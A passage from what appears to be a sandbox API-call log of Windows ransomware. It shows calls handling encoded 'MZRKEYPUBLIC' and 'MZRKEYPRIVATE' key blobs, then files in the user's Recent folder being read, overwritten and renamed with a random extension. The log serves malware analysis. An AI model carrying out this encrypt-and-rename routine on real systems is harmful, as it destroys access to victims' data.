Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.234] GetCurrentThreadId () returned 0xa30 [0081.235] GetCurrentThreadId () returned 0xa30 [0081.235] GetCurrentThreadId () returned 0xa30 [0081.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.235] GetCurrentThreadId () returned 0xa30 [0081.235] GetCurrentThreadId () returned 0xa30 [0081.235] GetCurrentThreadId () returned 0xa30 [0081.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.236] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.236] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.236] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf64 [0081.236] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.236] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf64, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf64, lpOverlapped=0x0) returned 1 [0081.237] CloseHandle (hObject=0x124) returned 1 [0081.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.239] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf64, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf64, lpOverlapped=0x0) returned 1 [0081.240] CloseHandle (hObject=0x124) returned 1 [0081.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\drHcU2ILp K.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\drhcu2ilp k.lnk.zv7un")) returned 1 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] GetCurrentThreadId () returned 0xa30 [0081.243] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ef26e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ef26e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="DxP-tIBe7AmaJ6pj.lnk", cAlternateFileName="DXP-TI~1.LNK")) returned 1 [0081.243] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.243] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.243] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ef26e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ef26e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b8)) returned 1 [0081.243] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk")) returned 0x20 [0081.243] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk", dwFileAttributes=0x80) returned 1 [0081.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.246] GetCurrentThreadId () returned 0xa30 [0081.246] GetCurrentThreadId () returned 0xa30 [0081.246] GetCurrentThreadId () returned 0xa30 [0081.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, 